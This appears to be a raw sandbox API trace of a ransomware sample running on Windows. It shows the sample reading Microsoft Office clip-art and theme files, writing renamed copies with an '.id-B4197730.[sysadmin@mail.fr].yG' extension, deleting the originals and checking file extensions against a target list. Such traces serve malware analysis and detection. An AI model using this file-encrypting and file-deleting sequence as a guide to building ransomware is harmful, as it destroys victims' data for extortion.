	[0152.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0152.016] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.016] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0152.017] GetLastError () returned 0x0
	[0152.017] ReadFile (in: hFile=0x388, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x1361, lpOverlapped=0x0) returned 1
	[0152.026] WriteFile (in: hFile=0x540, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x1370, lpOverlapped=0x0) returned 1
	[0152.027] ReadFile (in: hFile=0x388, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0152.027] WriteFile (in: hFile=0x540, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0152.028] SetEndOfFile (hFile=0x540) returned 1
	[0152.028] CloseHandle (hObject=0x540) returned 1
	[0152.028] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.028] SetEndOfFile (hFile=0x388) returned 1
	[0152.031] CloseHandle (hObject=0x388) returned 1
	[0152.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0152.032] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid")) returned 1
	[0152.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0152.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0152.033] lstrlenW (lpString=".doc") returned 4
	[0152.033] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0152.033] lstrlenW (lpString=".docx") returned 5
	[0152.033] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0152.034] lstrlenW (lpString=".pdf") returned 4
	[0152.034] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0152.034] lstrlenW (lpString=".xls") returned 4
	[0152.034] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0152.034] lstrlenW (lpString=".xlsx") returned 5
	[0152.034] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0152.034] lstrlenW (lpString=".ppt") returned 4
	[0152.034] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0152.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0152.034] lstrlenW (lpString=".zip") returned 4
	[0152.034] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0152.034] lstrlenW (lpString=".rar") returned 4
	[0152.034] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0152.034] lstrlenW (lpString=".bz2") returned 4
	[0152.034] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0152.034] lstrlenW (lpString=".7z") returned 3
	[0152.034] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0152.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0152.034] lstrlenW (lpString=".dbf") returned 4
	[0152.034] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0152.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0152.034] lstrlenW (lpString=".1cd") returned 4
	[0152.034] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0152.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0152.034] lstrlenW (lpString=".jpg") returned 4
	[0152.034] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0152.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0152.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0152.035] lstrlenW (lpString=".doc") returned 4
	[0152.035] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0152.035] lstrlenW (lpString=".docx") returned 5
	[0152.035] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0152.035] lstrlenW (lpString=".pdf") returned 4
	[0152.035] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0152.035] lstrlenW (lpString=".xls") returned 4
	[0152.035] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0152.035] lstrlenW (lpString=".xlsx") returned 5
	[0152.035] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0152.035] lstrlenW (lpString=".ppt") returned 4
	[0152.035] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0152.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0152.035] lstrlenW (lpString=".zip") returned 4
	[0152.035] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0152.035] lstrlenW (lpString=".rar") returned 4
	[0152.035] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0152.035] lstrlenW (lpString=".bz2") returned 4
	[0152.035] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0152.035] lstrlenW (lpString=".7z") returned 3
	[0152.035] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0152.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0152.035] lstrlenW (lpString=".dbf") returned 4
	[0152.035] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0152.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0152.036] lstrlenW (lpString=".1cd") returned 4
	[0152.036] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0152.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0152.036] lstrlenW (lpString=".jpg") returned 4
	[0152.036] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0152.036] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0152.036] lstrlenW (lpString="WNTER_01.MID") returned 12
	[0152.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0152.074] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=6915) returned 1
	[0152.074] CloseHandle (hObject=0x550) returned 1
	[0152.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid")) returned 0x220
	[0152.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0152.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0152.074] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.075] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0152.075] GetLastError () returned 0x0
	[0152.076] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x1b03, lpOverlapped=0x0) returned 1
	[0152.095] WriteFile (in: hFile=0x520, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x1b10, lpOverlapped=0x0) returned 1
	[0152.097] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0152.097] WriteFile (in: hFile=0x520, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0152.097] SetEndOfFile (hFile=0x520) returned 1
	[0152.097] CloseHandle (hObject=0x520) returned 1
	[0152.097] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.098] SetEndOfFile (hFile=0x550) returned 1
	[0152.104] CloseHandle (hObject=0x550) returned 1
	[0152.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0152.104] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid")) returned 1
	[0152.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0152.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0152.105] lstrlenW (lpString=".doc") returned 4
	[0152.105] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0152.105] lstrlenW (lpString=".docx") returned 5
	[0152.105] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0152.105] lstrlenW (lpString=".pdf") returned 4
	[0152.106] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0152.106] lstrlenW (lpString=".xls") returned 4
	[0152.106] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0152.106] lstrlenW (lpString=".xlsx") returned 5
	[0152.106] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0152.106] lstrlenW (lpString=".ppt") returned 4
	[0152.106] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0152.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0152.106] lstrlenW (lpString=".zip") returned 4
	[0152.106] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0152.106] lstrlenW (lpString=".rar") returned 4
	[0152.106] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0152.106] lstrlenW (lpString=".bz2") returned 4
	[0152.106] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0152.106] lstrlenW (lpString=".7z") returned 3
	[0152.106] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0152.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0152.106] lstrlenW (lpString=".dbf") returned 4
	[0152.106] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0152.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0152.107] lstrlenW (lpString=".1cd") returned 4
	[0152.107] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0152.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0152.107] lstrlenW (lpString=".jpg") returned 4
	[0152.107] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0152.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0152.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0152.107] lstrlenW (lpString=".doc") returned 4
	[0152.107] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0152.107] lstrlenW (lpString=".docx") returned 5
	[0152.107] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0152.107] lstrlenW (lpString=".pdf") returned 4
	[0152.107] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0152.107] lstrlenW (lpString=".xls") returned 4
	[0152.107] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0152.107] lstrlenW (lpString=".xlsx") returned 5
	[0152.107] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0152.108] lstrlenW (lpString=".ppt") returned 4
	[0152.108] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0152.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0152.108] lstrlenW (lpString=".zip") returned 4
	[0152.108] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0152.108] lstrlenW (lpString=".rar") returned 4
	[0152.108] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0152.108] lstrlenW (lpString=".bz2") returned 4
	[0152.108] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0152.108] lstrlenW (lpString=".7z") returned 3
	[0152.108] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0152.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0152.108] lstrlenW (lpString=".dbf") returned 4
	[0152.108] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0152.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0152.108] lstrlenW (lpString=".1cd") returned 4
	[0152.108] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0152.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0152.108] lstrlenW (lpString=".jpg") returned 4
	[0152.108] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0152.109] lstrcmpiW (lpString1=".eftx", lpString2=".yG") returned -1
	[0152.109] lstrlenW (lpString="Frosted Glass.eftx") returned 18
	[0152.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0152.110] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=334131) returned 1
	[0152.111] CloseHandle (hObject=0x550) returned 1
	[0152.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx")) returned 0x220
	[0152.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0152.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0152.111] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.112] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0152.156] GetLastError () returned 0x0
	[0152.156] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x51933, lpOverlapped=0x0) returned 1
	[0152.187] WriteFile (in: hFile=0x520, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x51940, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x51940, lpOverlapped=0x0) returned 1
	[0152.196] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0152.196] WriteFile (in: hFile=0x520, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0152.196] SetEndOfFile (hFile=0x520) returned 1
	[0152.196] CloseHandle (hObject=0x520) returned 1
	[0152.196] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.383] SetEndOfFile (hFile=0x550) returned 1
	[0153.168] CloseHandle (hObject=0x550) returned 1
	[0153.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0153.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx")) returned 1
	[0154.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0154.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0154.091] lstrlenW (lpString=".doc") returned 4
	[0154.091] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0154.091] lstrlenW (lpString=".docx") returned 5
	[0154.091] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0154.091] lstrlenW (lpString=".pdf") returned 4
	[0154.091] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0154.091] lstrlenW (lpString=".xls") returned 4
	[0154.091] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0154.091] lstrlenW (lpString=".xlsx") returned 5
	[0154.091] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0154.091] lstrlenW (lpString=".ppt") returned 4
	[0154.092] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0154.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0154.092] lstrlenW (lpString=".zip") returned 4
	[0154.092] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0154.092] lstrlenW (lpString=".rar") returned 4
	[0154.092] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0154.092] lstrlenW (lpString=".bz2") returned 4
	[0154.092] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0154.092] lstrlenW (lpString=".7z") returned 3
	[0154.092] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0154.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0154.092] lstrlenW (lpString=".dbf") returned 4
	[0154.092] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0154.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0154.092] lstrlenW (lpString=".1cd") returned 4
	[0154.092] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0154.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0154.092] lstrlenW (lpString=".jpg") returned 4
	[0154.092] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0154.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0154.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0154.092] lstrlenW (lpString=".doc") returned 4
	[0154.092] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0154.093] lstrlenW (lpString=".docx") returned 5
	[0154.093] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0154.093] lstrlenW (lpString=".pdf") returned 4
	[0154.093] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0154.093] lstrlenW (lpString=".xls") returned 4
	[0154.093] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0154.093] lstrlenW (lpString=".xlsx") returned 5
	[0154.093] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0154.093] lstrlenW (lpString=".ppt") returned 4
	[0154.093] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0154.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0154.093] lstrlenW (lpString=".zip") returned 4
	[0154.093] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0154.093] lstrlenW (lpString=".rar") returned 4
	[0154.093] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0154.093] lstrlenW (lpString=".bz2") returned 4
	[0154.093] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0154.093] lstrlenW (lpString=".7z") returned 3
	[0154.093] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0154.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0154.093] lstrlenW (lpString=".dbf") returned 4
	[0154.093] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0154.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0154.094] lstrlenW (lpString=".1cd") returned 4
	[0154.094] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0154.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0154.094] lstrlenW (lpString=".jpg") returned 4
	[0154.094] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0154.094] lstrcmpiW (lpString1=".eftx", lpString2=".yG") returned -1
	[0154.094] lstrlenW (lpString="Glow Edge.eftx") returned 14
	[0154.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0154.188] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=54347) returned 1
	[0154.188] CloseHandle (hObject=0x4ac) returned 1
	[0154.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx")) returned 0x220
